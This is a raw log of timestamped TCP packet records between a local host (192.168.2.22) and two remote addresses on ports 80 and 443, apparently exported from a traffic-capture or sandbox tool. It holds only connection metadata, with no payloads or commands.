                                                                                  Dec 7, 2024 15:50:39.308176041 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.316059113 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.316127062 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.316190958 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.316230059 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.324424028 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.324496984 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.324578047 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.324616909 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.332969904 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.333003044 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.333043098 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.333831072 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.341795921 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.341895103 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.342071056 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.342108011 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.349769115 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.349874020 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.349884033 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.349919081 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.355967999 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.355995893 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.356071949 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.362037897 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.362082005 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.362144947 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.368365049 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.368382931 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.368422031 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.369762897 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.374138117 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.374197960 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.374290943 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.374329090 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.380275965 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.380342960 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.380541086 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.380584955 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.386317968 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.386389971 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.386486053 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.386523962 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.392451048 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.392514944 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.392515898 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.392546892 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.398510933 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.398576021 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.398705006 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.398747921 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.470284939 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.470381975 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.470443010 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.471982002 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.473247051 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.473264933 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.473306894 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.478923082 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.478991985 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.481245995 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.481307030 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.488322020 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.488339901 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.488393068 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.491070032 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.491132975 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.496282101 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.496349096 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.500291109 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.500308037 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.500344992 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.504292011 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.504307985 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.504348993 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.507699966 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.507752895 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.512281895 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.512341022 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.516274929 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.516289949 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.516333103 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.518991947 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.519047022 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.523998976 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.524050951 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.527374983 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.527395964 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.527422905 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.527437925 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.530417919 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.530473948 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.535947084 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.535964012 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.536003113 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.536798954 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.540263891 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.540313959 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.544282913 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.544297934 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.544342995 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.546741962 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.546756983 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.546793938 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.552269936 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.552287102 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.552329063 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.556279898 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.556296110 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.556330919 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.556345940 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.558511019 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.558564901 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.563106060 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.563124895 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.563174009 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.566281080 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.566344023 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.572177887 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.572196007 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.572210073 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.572237015 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.572252989 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.576283932 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.576345921 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.580293894 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.580311060 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.580351114 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.584281921 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.584295988 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.584335089 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.588284016 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.588299990 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.588335991 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.590197086 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.590249062 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.592267990 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.592317104 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.594883919 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.594897032 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.594934940 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.600297928 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.600317001 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.600354910 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.603965998 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.603995085 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.604016066 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.604238033 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:39.608277082 CET804916187.106.161.219192.168.2.22
                                                                                  Dec 7, 2024 15:50:39.608333111 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:41.026796103 CET4916180192.168.2.2287.106.161.219
                                                                                  Dec 7, 2024 15:50:42.125612020 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:42.125674009 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:42.125734091 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:42.130131960 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:42.130146027 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:43.349102020 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:43.349179983 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:43.355973959 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:43.355999947 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:43.356348991 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:43.429152012 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:43.471337080 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.026087046 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.026153088 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.026176929 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.026200056 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.028240919 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.028270006 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.034512997 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.034542084 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.034559965 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.036233902 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.042717934 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.051074982 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.052237988 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.052257061 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.059670925 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.059703112 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.068242073 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.068267107 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.218111038 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.220350027 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.220380068 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.221816063 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.221858978 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.221873045 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.222426891 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.222526073 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.229424000 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.233330011 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.233391047 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.233406067 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.248378038 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.248528957 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.248545885 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.256022930 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.256051064 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.256081104 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.256095886 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.256131887 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.263286114 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.271190882 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.271254063 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.271270990 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.274291992 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.278697968 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.286396980 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.286454916 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.286468029 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428443909 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428461075 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428483963 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428491116 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428497076 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428512096 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.428550005 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428565979 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.428577900 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.428595066 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.438486099 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.438606024 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.481884956 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.481897116 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.481918097 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.481925011 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.481945038 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.481946945 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.481945038 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.481964111 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.481981993 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.481981993 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.481991053 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.489092112 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.489129066 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.495815992 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.539499998 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.539515018 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.539541006 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.539556026 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.539588928 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.539603949 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.542344093 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.608639956 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.608678102 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.608701944 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.608720064 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.608731031 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.608731031 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.641947985 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.641978979 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.642008066 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.642029047 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.642040968 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.669955015 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.669981003 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.670006990 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.670031071 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.670044899 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.694473982 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.694509029 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.694530964 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.694540024 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.694561958 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.694572926 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.694590092 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.712058067 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.712090969 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.712112904 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.712133884 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.712156057 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.728162050 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.728195906 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.728219986 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.728239059 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.728250027 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.800945044 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.800973892 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.801006079 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.801029921 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.801050901 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.801050901 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.814033985 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.814045906 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.814069986 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.814075947 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.814089060 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.814105034 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.814116001 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.827259064 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.827286005 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.827292919 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.827300072 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.827318907 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.827334881 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.827348948 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.840440989 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.840451956 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.840476990 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.840482950 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.840492010 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.840506077 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.840518951 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.845789909 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.845839977 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.845853090 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.855782032 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.855807066 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.855839014 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.855843067 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.855859995 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.855870008 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.855889082 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.864645958 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.864671946 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.864697933 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.864711046 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.864721060 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.873331070 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.873358965 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.873394966 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.873409033 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.873420954 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.878154039 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.878197908 CET44349162151.101.65.137192.168.2.22
                                                                                  Dec 7, 2024 15:50:44.878211975 CET49162443192.168.2.22151.101.65.137
                                                                                  Dec 7, 2024 15:50:44.878226042 CET44349162151.101.65.137192.168.2.22
